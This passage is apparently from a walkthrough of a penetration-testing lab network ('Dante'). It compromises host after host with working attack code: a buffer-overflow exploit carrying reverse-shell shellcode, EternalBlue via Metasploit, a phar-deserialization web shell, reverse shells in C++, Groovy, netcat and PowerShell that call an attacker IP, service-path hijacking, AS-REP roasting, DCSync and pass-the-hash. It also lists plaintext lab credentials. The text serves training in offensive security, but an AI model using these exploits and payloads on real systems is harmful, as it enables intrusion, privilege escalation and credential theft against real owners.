port = sys.argv[2]

buf = b""
buf += b"\xbb\x39\xb3\xbd\xf3\xd9\xcb\xd9\x74\x24\xf4\x5a\x2b"
buf += b"\xc9\xb1\x52\x31\x5a\x12\x83\xc2\x04\x03\x63\xbd\x5f"
buf += b"\x06\x6f\x29\x1d\xe9\x8f\xaa\x42\x63\x6a\x9b\x42\x17"
buf += b"\xff\x8c\x72\x53\xad\x20\xf8\x31\x45\xb2\x8c\x9d\x6a"
buf += b"\x73\x3a\xf8\x45\x84\x17\x38\xc4\x06\x6a\x6d\x26\x36"
buf += b"\xa5\x60\x27\x7f\xd8\x89\x75\x28\x96\x3c\x69\x5d\xe2"
buf += b"\xfc\x02\x2d\xe2\x84\xf7\xe6\x05\xa4\xa6\x7d\x5c\x66"
buf += b"\x49\x51\xd4\x2f\x51\xb6\xd1\xe6\xea\x0c\xad\xf8\x3a"
buf += b"\x5d\x4e\x56\x03\x51\xbd\xa6\x44\x56\x5e\xdd\xbc\xa4"
buf += b"\xe3\xe6\x7b\xd6\x3f\x62\x9f\x70\xcb\xd4\x7b\x80\x18"
buf += b"\x82\x08\x8e\xd5\xc0\x56\x93\xe8\x05\xed\xaf\x61\xa8"
buf += b"\x21\x26\x31\x8f\xe5\x62\xe1\xae\xbc\xce\x44\xce\xde"
buf += b"\xb0\x39\x6a\x95\x5d\x2d\x07\xf4\x09\x82\x2a\x06\xca"
buf += b"\x8c\x3d\x75\xf8\x13\x96\x11\xb0\xdc\x30\xe6\xb7\xf6"
buf += b"\x85\x78\x46\xf9\xf5\x51\x8d\xad\xa5\xc9\x24\xce\x2d"
buf += b"\x09\xc8\x1b\xe1\x59\x66\xf4\x42\x09\xc6\xa4\x2a\x43"
buf += b"\xc9\x9b\x4b\x6c\x03\xb4\xe6\x97\xc4\x7b\x5e\x76\x03"
buf += b"\x14\x9d\x78\x0b\xeb\x28\x9e\x39\xe3\x7c\x09\xd6\x9a"
buf += b"\x24\xc1\x47\x62\xf3\xac\x48\xe8\xf0\x51\x06\x19\x7c"
buf += b"\x41\xff\xe9\xcb\x3b\x56\xf5\xe1\x53\x34\x64\x6e\xa3"
buf += b"\x33\x95\x39\xf4\x14\x6b\x30\x90\x88\xd2\xea\x86\x50"
buf += b"\x82\xd5\x02\x8f\x77\xdb\x8b\x42\xc3\xff\x9b\x9a\xcc"
buf += b"\xbb\xcf\x72\x9b\x15\xb9\x34\x75\xd4\x13\xef\x2a\xbe"
buf += b"\xf3\x76\x01\x01\x85\x76\x4c\xf7\x69\xc6\x39\x4e\x96"
buf += b"\xe7\xad\x46\xef\x15\x4e\xa8\x3a\x9e\x7e\xe3\x66\xb7"
buf += b"\x16\xaa\xf3\x85\x7a\x4d\x2e\xc9\x82\xce\xda\xb2\x70"
buf += b"\xce\xaf\xb7\x3d\x48\x5c\xca\x2e\x3d\x62\x79\x4e\x14"

payload = "A" * 1028 + "\x73\x6d\x47\x10" + "\x90" * 20 + buf + "C" * (500 -


len(buf))

r = remote(ip, port)
r.recvuntil(':')
r.sendline("Admin")
r.recvuntil(':')
r.sendline(payload)

After starting a listener on port 9999 and running the script again, a shell should be received.

python bof.py 192.168.225.23 3333

Next, generate the shellcode again with our tun0 interface IP address.

msfvenom -p windows/shell_reverse_tcp LHOST=<your_tun0_ip> LPORT=9999 -b


"\x00\x0a\x0d" -f python

After updating the script and running it, a shell as nt authority\system is received on DANTE-
WS03 .
python bof.py 127.0.0.1 4444

The flag can be found on the administrator desktop.


That just blew my mind
Next, we can proceed to scan the host 172.16.1.20 .

proxychains nmap -sT -sV -Pn -T5 172.16.1.20

Nmap reveals many open ports. The host has DNS, Kerberos and LDAP services running, which
indicates that we are looking at a domain controller.

Let's browse to port 80.


We notice that SMB is running and the host is Windows Server 2012 R2, which means that this
host is possibly vulnerable to the (unauthenticated) Eternal Blue exploit.

Let's first run check in order to validate the vulnerability by issuing the below commands.

proxychains msfconsole
use exploit/windows/smb/ms17_010_psexec
set RHOSTS 172.16.1.20
check

The output shows that the host is vulnerable. Let's run the exploit by issuing the below
commands.

proxychains msfconsole
use exploit/windows/smb/ms17_010_psexec
set RHOSTS 172.16.1.20
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4444
run
This is successful and a shell as nt authority\system is received on DANTE-DC01 . As SYSTEM,
we can enumerate the domain as the account is able to impersonate the computer account, which
is effectively a special type of domain user account.

An Excel spreadsheet is present on the desktop.


Download the file using meterpreter's download command.

On opening it, we see a list of potential usernames in column A. After unhiding column B, we also
see the password associated with the respective account. Let's make a note of this information
and move on.
mrb3n leaves his mark
Enumerating the users in the domain, we see there's a user called mrb3n . As this is a domain
controller net user enumerates the domain. Apart from the special DSRM account, a DC doesn't
have local users (the local administrator is promoted to the primary domain administrator after
installing ADDS).

Let's check the properties of this user. This reveals a flag.


Make a note of the password stored in the Comment field. Let's continue network enumeration.
They're grrrreat!
We can scan the host 172.16.1.37 next.

proxychains nmap -sT -Pn -sV -T5 172.16.1.37

Nmap reveals that the host has two ports open. Let's browse to port 80.

We have a login page. Let's click on the Sign up now hyperlink.

Create an account and login to the application.


There are several features in the application. The Upload option allows us to upload images.

The Gallery page is empty. Let's upload a sample image using the Upload feature.

The application returns the message Uploaded . Now on the Gallery page, we see the uploaded
image.

We can delete the image as well. The Feedback page shows text revealing a specific extension
.bak .
It is possible that there are backup files lying around. Let's fuzz for .bak files using gobuster .

gobuster dir -p socks5://127.0.0.1:1080 --url http://172.16.1.37/ -w


/usr/share/wordlists/dirb/common.txt -x php.bak

There are two backup files present on the server. Let's download them.
proxychains curl http://172.16.1.37/feedback.php.bak -o feedbak.php.bak
proxychains curl http://172.16.1.37/save.php.bak -o save.php.bak

The source code of the two files is below.

feedback.php.bak

<?php

include("auth.php");
include("info.php");
require_once 'save.php';

if (!file_exists("uploads/$id")) {
mkdir("uploads/$id", 0777, true);
}

$s = new Store();
/// ToDo
// Re create this function
// Fix security bug
<SNIP>
?>

save.php.bak

<?php
class Store
{
public function __destruct()
{
file_put_contents($this->filename, $this->contents, FILE_APPEND);
}
}

?>

We see that the file save.php.bak defines a class named Store . This class has a function
__destruct() , which gets invoked when an object is destructed or the script is stopped or
exited. This function then creates a file with the given content.

The file feedback.php.bak includes save.php and initializes an object with the Store()
function. The comments speak about a security bug. We already know that the file feedback.php
exists on the server. Let's check if the file save.php is present on the server.
The file exists. PHP supports a wrapper called phar:// , which can be used to provide a PHP
archive as an input to a file operation. This archive contains metadata in a serialized format. If a
file operation is performed on this archive, then the serialized contents will be unserialized, which
happens in the context of the application. With this information it is possible to obtain the code
execution on the server. Let's create a phar archive.

test.php

<?php
class Store {}
$phar = new \Phar("shell.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$payload = new Store;


$payload->filename = "/var/www/html/uploads/shell.php";
$payload->contents = "<?php phpinfo();?>";
$phar->setMetadata($payload);
$phar->stopBuffering();
?>

The command below creates the shell.phar file.

php test.php

Let's capture the file upload request in Burp Suite and rename the extension to .png or .jpg .
This is successful. Let's now delete the file using the phar:// wrapper.

The file deletion operation triggers the deserialization, which then invokes the __destruct()
function that creates the file shell.php on the server. We can now access the PHPInfo page at
/uploads/shell.php .
This validates the vulnerability. Let's modify the payload to obtain command execution on the
server.

<?php
class Store {}
$phar = new \Phar("shell.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$payload = new Store;


$payload->filename = "/var/www/html/uploads/test.php";
$payload->contents = '<?php echo exec($_GET["cmd"]);?>';
$phar->setMetadata($payload);
$phar->stopBuffering();
?>

Let's upload the archive and delete it, which should create test.php on the server. We can now
execute commands on the server at /uploads/test.php .

The application is running as the user pericles . After copying our public key to the
authorized_keys file we can SSH to the server.
http://172.16.1.37/uploads/test.php?cmd=mkdir /home/pericles/.ssh
http://172.16.1.37/uploads/test.php?cmd=echo -n '<url encoded id_rsa.pub
key>'>/home/pericles/.ssh/authorized_keys

proxychains ssh pericles@172.16.1.37

The flag can be found in the home folder.


Tick tock...
There doesn't seem to be anything useful in Pericles's home folder. We can enumerate the server
with common privilege escalation scripts such as LinEnum or LinPEAS.

proxychains scp LinEnum.sh pericles@172.16.1.37:/tmp/linenum.sh


bash /tmp/linenum.sh

We see a non default systemd timer which executed few seconds ago.

Let's view the details of the timer.

The OnCalender attribute reveals that the tmp_delete.service runs every minute. Let's view
the service details.
It runs the file /usr/bin/tmp_delete.sh and pericles has write access to this file. Assuming
that this service runs as root, we can modify /usr/bin/tmp_delete.sh and obtain root access.

echo 'cp /bin/sh /home/pericles/sh && chmod u+s /home/pericles/sh' >


/usr/bin/tmp_delete.sh

After a minute, we see that sh is created with suid bit set.

We can run the command below to get a root shell.

/home/pericles/sh -p

Bash preserves the effective user ID (i.e. root) when the -p option is supplied at invocation, which
gives us a shell as root. The flag can be found in the /root folder.
Some people never learn
Next, let's scan the host 172.16.1.45 .

proxychains nmap -sT -Pn -sV -T5 172.16.1.45

Nmap reveals that this host has several ports open, including Apache on port 80. Let's browse to
this.

XAMPP is running on port 80. Let's fuzz the server for files and folders that may be hosted using
gobuster .

gobuster dir -p socks5://127.0.0.1:1080 --url http://172.16.1.35/ -w


/usr/share/wordlist/dirb/big.txt
We see that the /elearning folder exists. Let's access it.
Searching online for known exploits related to the elearning keyword shows the below results.

The exploit matches the URL pattern /elearning . Checking the vendor homepage provided in
the exploit reveals the default credentials for the admin and teacher roles.

Let's navigate to /elearning/admin and login as admin.

This is successful. Next, navigate to Students page and click on the Add Student button.
Fill in all the fields and upload a PHP file with the contents below.

shell.php

<?php echo exec($_GET["cmd"]);?>

We can now execute commands from the path /elearning/admin/uploads/shell.php .

We gain command execution as the local user leroy . It seems that we can't access our machine
IP from this host. Let's copy the nc.exe binary to our entry point machine 172.16.1.100 , and
download nc.exe to WS04 .

scp /usr/share/windows-resources/binaries/nc.exe
root@10.10.110.100:/var/www/html/nc.exe
http://172.16.1.45/elearning/admin/uploads/shell.php?cmd=powershell wget
172.16.1.100/nc.exe -o nc.exe

Next, stand up a listener on port 1234 on the host DANTE-WEB-NIX01 , and run the command
below.

nc -lvnp 1234
http://172.16.1.45/elearning/admin/uploads/shell.php?cmd=nc.exe -e cmd.exe 1234
172.16.1.100

This failed, possibly due to the presence of Windows Defender on the system. We can use the C++
reverse shell promotheus.cpp to bypass it. Before compiling the exploit, change the IP address
and port in the code.
...
else {
char host[] = "10.10.14.2";
int port = 1234;
RunShell(host, port);
}
...

Let's compile this file to an executable.

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-


sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc

Repeat the steps above and execute prometheus.exe from the web shell.

This is successful and we have upgraded to a proper shell on the host WS04 . The flag can be
found in the leroy home directory.
Auto-fail
As with the .bash_history file in Linux machines, the PowerShell equivalent is enabled by
default starting with PowerShell v5 on Windows 10. This feature stores commands typed by the
user in a file, whose default location is:
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt . Let's
check the contents of this file.

We see that the user leroy ran a PowerShell script with the Administrator credentials. Let's
reuse these credentials on the RDP service.

proxychains rdesktop -u administrator -p KingOfTheMountain 172.16.1.45

This is successful, and we have gained admin access to WS04 . The flag is on the administrator
desktop.
Update the policy!
We can scan the host 172.16.1.101 next.

proxychains nmap -sT -Pn -sV -T5 172.16.1.101

Nmap reveals that the host has several ports open, including FTP. Let's connect to it with the ftp
utility.

This reveals a FileZilla Server, version 0.9.60 beta . This doesn't seem to have any known
vulnerabilities. After installing FileZilla Server locally, we also confirm that the lockout policy isn't
enabled by default. From our earlier enumeration, we have a list of usernames and passwords.
Let's bruteforce the FTP service using hydra or Metasploit's ftp_login auxiliary module.

proxychains msfconsole
use auxiliary/scanner/ftp/ftp_login
set PASS_FILE passwords.txt
set USER_FILE users.txt
set RHOSTS 172.16.1.101
run
This identified valid credentials. We can login to FTP using dharding / WestminsterOrange5 .

There is an interesting file present on the FTP server.

Let's download it and view the contents.


Dido,
I've had to change your account password due to some security issues we have
recently become aware of

It's similar to your FTP password, but with a different number (ie. not 5!)

Come and see me in person to retrieve your password.

thanks,
James

The note says that the account password for dharding was changed to have a different number.
Let's create a simple wordlist containing WestminsterOrange0 to WestminsterOrange10 .

for i in {0..10};do echo "WestminsterOrange$i" >> words.txt;done

Next, we can use CrackMapExec to bruteforce the Windows Remote Management (WinRM) login.

apt-get install -y libssl-dev libffi-dev python-dev build-essential


git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
cd CrackMapExec
python3 setup.py install
proxychains cme winrm 172.16.1.101 -u dharding -p words.txt

CrackMapExec identified that the credentials dharding / WestminsterOrange10 are valid. Let's
login to the host using Evil-WinRM.

proxychains evil-winrm -i 172.16.1.101 -u dharding -p WestminsterOrange10

This is successful and the flag can be found on the desktop.


Single or double quotes
Let's check for non-default software installed on the host.

There's an IObit folder present in Program Files (x86) . The History.txt reveals that the
version of the software 9.5 , which is found to be vulnerable to an Unquoted Service Path attack.

Let's verify the vulnerability by checking the service binary path of IObitSVC .
The BINARY_PATH_NAME isn't encapsulated in quotes. It is running as the SYSTEM account. We can
view the service permissions using the Sysinternals utility Accesschk. Upload the binary to the host
and issue the following command enumerate the permissions.

.\accesschk64.exe /accepteula -ucqv IObitUnSvr

The user doesn't have privileges to interact with Service Control Manager in order to enumerate
the service permissions. Let's run winPEAS which also checks for permissions on services.
The tool shows we don't have permissions to modify any service. Let's try using Get-ServiceACL
PowerShell script.

.\Get-ServiceAcl.ps1
"IObitUnSvr" | Get-ServiceAcl | select -ExpandProperty Access

The ServiceRights shows that dharding can Start and Stop the service. It also shows that
the user can change the configuration of the service, as shown by the ChangeConfig right. This
validates the vulnerability. This can be exploited by updating the BINARY_PATH_NAME to an
arbitrary path.

Upload nc.exe to the host by using Evil-WinRM's upload option.

upload nc.exe

Next, modify the binary path for the IObit service to spawn a reverse shell.

sc.exe config IObitUnSvr binPath="cmd.exe /c C:/Users/dharding/Documents/nc.exe


-e cmd.exe 10.10.14.2 3333"

Stand up a listener on port 3333 and issue the following commands.

sc.exe stop IObitUnSvr


sc.exe start IObitUnSvr

A shell as nt authority\system is received on DANTE-WS02 .


Note: the shell will die after 30 seconds due to the Windows Service Control Manager (SCM) timing
out the service start request, but this is enough time to get the flag on the administrator
desktop. We could spawn another shell or migrate to a different process if we wanted to get a
more stable shell.
An open goal
Scanning the host 172.16.1.5 reveals a number of ports. .

proxychains nmap -sT -Pn -T5 -sV 172.16.1.5

Let's connect to FTP server with anonymous:anonymous credentials.

The flag can be found in the FTP directory.

passive
get flag.txt
SMB NULL sessions aren't enabled, so the Eternal Blue exploit doesn't work as we don't have valid
credentials for the machine. The host also has mountd service running. It is a Network File System
(NFS) that allows users to access files across a network and treat them as if they resided in a local
file directory. Let's enumerate mountable drives using showmount utility.

apt install nfs-common


proxychains showmount -e 172.16.1.5

There doesn't seem to be anything interesting on the NFS service. The flag suggests to check for
other hosts. Let's head back to DC01 and perform a ping sweep to identify if there are any other
interesting hosts on the 172.16.2.0/24 subnet.

(for /L %a IN (1,1,254) DO ping /n 1 /w 1 172.16.2.%a) | find "Reply"

This identifies an additional host. Let's route the traffic to it.


It's getting hot in here
Metasploit can be used to scan the ports on 172.16.2.5 :

use auxiliary/scanner/portscan/tcp
set RHOSTS 172.16.2.5
set THREADS 10
run

The port scan reveals many ports. The host exposes DNS, Kerberos and LDAP services, which
indicates that the host is likely a domain controller.

Forward necessary ports to our attacking machine.

meterpreter > portfwd add -L 127.0.0.1 -l 53 -p 53 -r 172.16.2.5


meterpreter > portfwd add -L 127.0.0.1 -l 88 -p 88 -r 172.16.2.5

As we have list of usernames from previous enumeration, let's attempt to identify the valid
domain users using kerbrute.

./kerbrute_linux_amd64 userenum -d dante --dc 127.0.0.1 users.txt


This identified the jbercov user. We can now try to access the host over WinRM, as port 5985
was found to be open. We can attempt to perform a password spray with the previously gained
passwords.

cme winrm 127.0.0.1 -u jbercov -p passwords.txt

However, this was not successful.


In an Active Directory environment, Kerberos pre-authentication is enabled on all user accounts
by default. This is a security feature that provides protection against password-guessing attacks. In
some cases, applications require this setting to be disabled for their service account (e.g. Alfresco).
Where pre-authentication for an account is not enforced, it a dummy authentication request to be
sent. The Key Distribution Center (KDC) on the Domain Controller will check the authentication
service request (AS-REQ), verify the user information and return an encrypted Ticket Granting
Ticket (TGT). The TGT contains material (the timestamp) that is encrypted with the NTLM hash of
the corresponding account. A hash can be derived from this, that can be subjected to an offline
brute force attack in order to recover the plaintext password.

Let's check if jbercov has the Do not require kerberos preauthentication property set by
using GetNPUsers script.

GetNPUsers.py dante/jbercov -no-pass -dc-ip 127.0.0.1

After saving this to a file it can be cracked using John The Ripper, revealing the password
myspace7 .

john tgt-hash --wordlist=rockyou.txt


Next, forward the WinRM port and login using this password.

meterpreter > portfwd add -L 127.0.0.1 -l 5985 -p 5985 -r 172.16.2.5


evil-winrm -i 127.0.0.1 -u jbercov -p myspace7

Shell access as jbercov is obtained on DANTE-DC02 . The flag can be found on the desktop.
One misconfig to rule them all
Bloodhound can be used to enumerate and visualise an Active Directory environment, in order to
identify possible attack chains that would allow us to elevate our domain privileges. Active
Directory contains objects such as user and computer accounts, groups and other data.
Sometimes, due to misconfigurations or overly privileged accounts, it is possible to leverage
object-to-object control in an attack chain that allows us to derive domain admin privileges.

The SharpHound collector can be used to collect data from Active Directory. We can then ingest
this data in BloodHound , in order to visualise any available attack paths. First, upload
SharpHound.ps1 to the host using the upload command.

upload SharpHound.ps1

Issue the below command to import the module.

import-module .\SharpHound.ps1

SharpHound supports a number of different collection methods for enumerating different aspects
of Active Directory. Let's run it using All collection method, which includes all methods apart
from GPOLocalGroup.

Invoke-BloodHound -CollectionMethod All

This creates a zip file in the current working directory.

Download the file so we can import the data for ingestion by BloodHound.

download 20200811054926_BloodHound.zip

BloodHound can be installed using the following commands.


sudo apt install bloodhound
sudo apt-get install neo4j

Issue the below commands to start the Neo4j service and run BloodHound.

neo4j console start


bloodhound

Login to BloodHound using the default credentials neo4j / neo4j , and drop the zip file into the
application for analysis.

BloodHound provides an overview of the users, computers, groups, sessions and ACLs in the
domain. Data consists of Nodes that represent principals and other objects in Active Directory,
and Edges, which are links representing some form of object-to-object control or privileges. On
the Queries tab, we can find some common inbuilt Cipher queries. Click on Find Principals
with DCSync Rights . We note that node JBERCOV@DANTE.ADMIN is connected with the
DANTE.ADMIN node, via the GetChangesAll edge.

Right-click on the edge and then click Help , in order to display the attack overview and abuse
information. We see that jbercov is capable of dumping password hashes from the Domain
Controller by using a DCSync attack.
Impacket's secretsdump.py can be used to perform this attack.

This script cab extract the NTLM hashes for all domain users, using the replication privileges. Run
the command below to dump the password hash of the primary domain administrator.

secretsdump.py dante/jbercov@127.0.0.1 -just-dc-user Administrator

Having successfully extracted the hash of the administrator, we can perform a Pass The Hass
attack using metasploit. First, let's forward the necessary ports in our meterpreter session.

meterpreter > portfwd add -L 127.0.0.1 -l 445 -p 445 -r 172.16.2.5


meterpreter > portfwd add -L 127.0.0.1 -l 139 -p 139 -r 172.16.2.5

We can now run the commands below to spawn a shell as SYSTEM.


use exploit/windows/smb/psexec
set rhosts 127.0.0.1
set smbuser administrator
set smbpass 4c827b7074e99eefd49d05872185f7f8
set payload windows/meterpreter/reverse_tcp
set lhost tun0
set lport 5555
run

A shell as nt authority\system is opened on DANTE-ADMIN-DC02 .

The flag can be found on the administrator desktop.


Very well, sir
Enumerating DANTE-ADMIN-DC02 reveals the file Jenkins.bat in the administrator's Documents
folder.

This file reveals credentials for a Jenkins server. Add them to our notes and move on.

Let's scan the 172.16.1.19 host.

proxychains nmap -Pn -sT -sV -T5 172.16.1.19

Browsing to port 80 doesn't show anything interesting.


Port 8080 reveals a Jenkins instance.

Let's login to Jenkins with the credentials Admin_129834765 / SamsungOctober102030 .

This is successful and we can gain the flag after clicking the FLAG_HERE job description.
We're going in circles
Jenkins features a Groovy script console, which allows running arbitrary Groovy scripts within the
Jenkins master or agent runtimes. As we've obtained admin access to the Jenkins server, we can
access the Script Console by navigating to "Manage Jenkins" > "Script Console". This is also at
the well-known path /script . This allows us to execute arbitrary code on the host itself, which
we can use to gain a reverse shell.

Let's stand up a listener on port 8888 and input the following into the script console window.

String host="10.10.14.2";
int port=8888;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket
s=new Socket(host,port);InputStream
pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.
read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread
.sleep(50);try {p.exitValue();break;}catch (Exception e)
{}};p.destroy();s.close();

A shell as jenkins obtained on DANTE-NIX07 . Let's monitor running processes using pspy.

This shows that the root user is logging into MySQL as ian , and password is being passed on the
command line. Let's switch to the ian user.
ian user is part of disk group. This group gives full access to any block devices contained within
/dev/ . Let's check the mounted disks.

cat /proc/self/mounts|grep 'sda'

The root file system is mounted on /dev/sda5 , and the disk group has full read and write
privileges to it. Let's use debugfs to enumerate the entire disk with root-level privileges.

debugfs /dev/sda5

The flag can be obtained from the root directory.


My cup runneth over
Let's interact with the session on DANTE-ADMIN-DC02 and perform a ping sweep to identify
additional hosts.

(for /L %a IN (1,1,254) DO ping /n 1 /w 1 172.16.2.%a) | find "Reply"

This reveals a host that is reachable from DANTE-ADMIN-DC02 . Let's route the traffic to the
identified host.

meterpreter > run autoroute -s 172.16.2.0/24


meterpreter > bg

We can now run the portscan/nmap auxiliary scanner module against 172.16.2.101 .

use auxiliary/scanner/portscan/nmap
set rhosts 172.16.2.101
set threads 20
run

The port scan reveals that the host has port 22 (SSH) open. Let's forward the port to our machine.

meterpreter > portfwd add -L 127.0.0.1 -l 7778 -p 22 -r 172.16.2.101

We can now attempt an online brute force attack against the SSH service using the previously
obtained credentials. Hydra can be used to bruteforce services like SSH, FTP and HTTP.
hydra -L users.txt -P passwords.txt ssh://127.0.0.1:7778

The credentials julian / manchesterunited are reported as valid, which we use to get an SSH
shell on DANTE-ADMIN-NIX05 as julian .

Enumerating the host for setuid binaries, we see a readfile file in /usr/sbin , which is owned
by root .

find / -perms -4000 2>/dev/null

Running the binary displays usage instructions.


Let's try to read some files using this binary.

It doesn't seem to be working. Let's copy the binary to our machine for further analysis.

scp -P 7778 julian@127.0.0.1:/usr/sbin/readfile .

Open the binary in ghidra.

Looking at the main function, we see that the binary checks if an argument is provided. It then
sets the real, effective and saved user or group ID to the root user. We also see that the
vulnerable strcpy() function is used, which copies user input param_2 to the local_58 buffer
that is 80 bytes in length. This results in a buffer overflow if user input is more than 80 bytes, and
can be leveraged to obtain root access on the host.

The host also has gdb installed. Let's use it to open the readfile binary.

gdb readfile
gdb also has the peda plugin configured, which has many useful features. Further information on
it can be found here. Let's check for enabled security features using checksec .

NX and CANARY are disabled, which means the stack is executable and stack cookies to detect
overflows are not present on the stack.

ASLR (Address Space Layout Randomization) randomizes the base of the libraries (libc) so that the
memory address of libc functions changes on each run. ASLR is set to 0, which means the
addresses of the stack stay the same.

PIE (Positional Independent Executable) is enabled and it is like ASLR. It randomizes the base
address but in this case for the binary itself. This makes it difficult for us to use gadgets or
functions in the binary.

RELRO (Relocation Read-Only) is another technique to mitigate ROP (Return Oriented


Programming) attacks by making the GOT (Global Offset Table) read-only.

As the stack is executable, there's no need to use gadgets or functions from the binary, and
overwriting GOT entries is also not required. PIE and RELRO can be ignored in our case.

Let's create pattern of 100 characters in order to identify the offset.


Next, run the binary with the pattern:

gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAA<SNIP>'

The binary crashes, which we observe in gdb.

Let's identify the offset using the pattern_search option.

The offset found from the pattern search is 88 . Run the binary again with the pattern below, to
see if we can control the flow.

gdb-peda$ r $(python2 -c 'print "A"*88+"B"*8')

The stack pointer is now filled with B's which means we are able to control the flow of execution.

We can replace Bs with an address pointing to the location of our shellcode. The 64-bit shellcode
to call /bin/sh can be taken from here. Run the binary again with the pattern below.
gdb-peda$ r $(python2 -c 'print
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x
52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*(88-27) + "B"*6')

In gdb, to find memory contents at a given address requires a specified format. x represents the
hex format. Let's examine 120 bytes of stack memory by issuing the command below.

x/120x $rsp

The shellcode isn't visible. We can view the previous memory contents by subtracting RSP with 200
bytes.

x/120x $rsp-200

The shellcode is present in the second octet in the memory representation. The very next address
is 0x7fffffffe378 . We can calculate the shellcode address by removing 8 bytes from the next
address, 0x7fffffffe370 .

Let's replace the Bs with this address.

gdb-peda$ r $(python2 -c 'print


"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x
52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*(88-27) + "\x70\xe3\xff\xff\xff\x7f"')

The address follows the little endian format.


This is successful, but the shell returns as julian . This is because gdb doesn't elevate privileges
when debugging a binary. Let's run the exploit outside of gdb.

As gdb stores environment variables on the stack, the address of the shellcode is different outside
of gdb. The correct address can be achieved by bruteforcing the last two bytes in the address but
that's not reliable.

We can perform the same attack by storing our shellcode in the env variable, and can then point
the stack to the address of this variable.

export SHELLCODE=`python2 -c 'print


"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x
52\x57\x54\x5e\xb0\x3b\x0f\x05"'`

The address of the SHELLCODE variable can be obtained with the code below.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {


char *ptr;

if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n",
argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}

It accepts two arguments and obtains the SHELLCODE variable address using a getenv() call.
Let's compile the code.

gcc getenv.c -o getenv


chmod +x getenv

We can now obtain the address by issuing the command. This address varies from binary to
binary.

./getenv SHELLCODE /usr/sbin/readfile

A root shell can be obtained by running the final exploit.

/usr/sbin/readfile $(python2 -c 'print "A"*88+"\x52\xe7\xff\xff\xff\x7f"')


The flag can be found in the root folder.
What do we have here?!
Let's now look for other hosts that are reachable from DANTE-ADMIN-NIX05 .

for i in {1..255} ;do (ping -c 1 172.16.2.$i | grep "bytes from"|cut -d ' ' -
f4|tr -d ':' &);done

We see a new host 172.16.2.6 that we haven't came across before. Let's do a port scan on this
host. This can be done either by uploading a static Nmap binary to the host, or with a simple bash
one-liner.

for p in {1..65535}; do(echo >/dev/tcp/localhost/$p) >/dev/null 2>&1 && echo


"$p open"; done

This shows that the host has SSH available. Let's reuse the credentials of the user julian .
This is successful and we obtain shell on DANTE-ADMIN-NIX06 . The flag can be found on the
desktop.

There's also a SQL file present on the desktop.

The reveals the SQL Server password for the user Sophie .

Hi Julian
I've put this on your personal desktop as its probably the most secure
place on the network!

Can you please ask Sophie to change her SQL password when she logs in
again? I've reset it to TerrorInflictPurpleDirt996655 as it stands, but
obviously this is a tough one to remember

Maybe we should all get password managers?

Thanks,
James

Let's take a note of the credentials and continue our network enumeration.
It doesn't get any easier than this
We see the plongbottom user is also present on the host DANTE-ADMIN-NIX06 .

We have the password for this user from earlier enumeration . Let's switch to plongbottom using
the password PowerfixSaturdayClub777 .

This user is part of sudo group. We can switch root by issuing the command sudo su .

The flag can be found in /root/flag.txt .


Fail 2: The Sequel
There's a SQL Server instance present on the host 172.16.1.5 . Access to the server can be
achieved using Impacket's mssqlclient script. Login to the SQL Server with the credentials sophie
/ TerrorInflictPurpleDirt996655 .

proxychains mssqlclient.py sophie@172.16.1.5

Let's check if this user has sysadmin rights.

SELECT IS_SRVROLEMEMBER ('sysadmin');

Our current SQL user is indeed a member of the sysadmin role, which provides administrative
privileges on all server databases and resources, and allows for command execution on the
underlying server using the xp_cmdshell stored procedure. xp_cmdshell is disabled by default.
Let's enable it by issuing the following SQL commands.
EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;

We can now execute commands on the server. The whoami command reveals that we have
command execution in the context of the default SQL Server service account.

xp_cmdshell "whoami"

This can be use to get a shell on the server. Let's use the Invoke-PowerShellTcp script, adding the
following line to the end of the script.

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.2 -Port 4444

Next, stand up a Python web server on port 80 and a Netcat listener on port 4444.

python3 -m http.server 80
nc -lvnp 4444

Finally, issue the command below to obtain a reverse shell.

xp_cmdshell "powershell "IEX (New-Object


Net.WebClient).DownloadString(\"http://10.10.14.2/Invoke-PowerShellTcp.ps1\");"
A shell as nt service\mssql$sqlexpress is received on DANTE-SQL01 . The flag can be found in
the C:\users directory.
I prefer mine with the skins on
Enumerating the host, we can see a db_backup.ps1 script present in the C:\DB_backups folder.

The contents are below.

# Work in progress database backup script. Adapting from mysql backup script.
Does not work yet. Do not use.

$password = 'Alltheleavesarebrown1'
$user = 'sophie'
$cred = New-Object System.Net.NetworkCredential($user, $password, "")
<SNIP>

The comments in the file mention that the script doesn't work. However, against best practices, it
includes unencrypted credentials for the user sophie . Let's try to login to WinRM as this user.

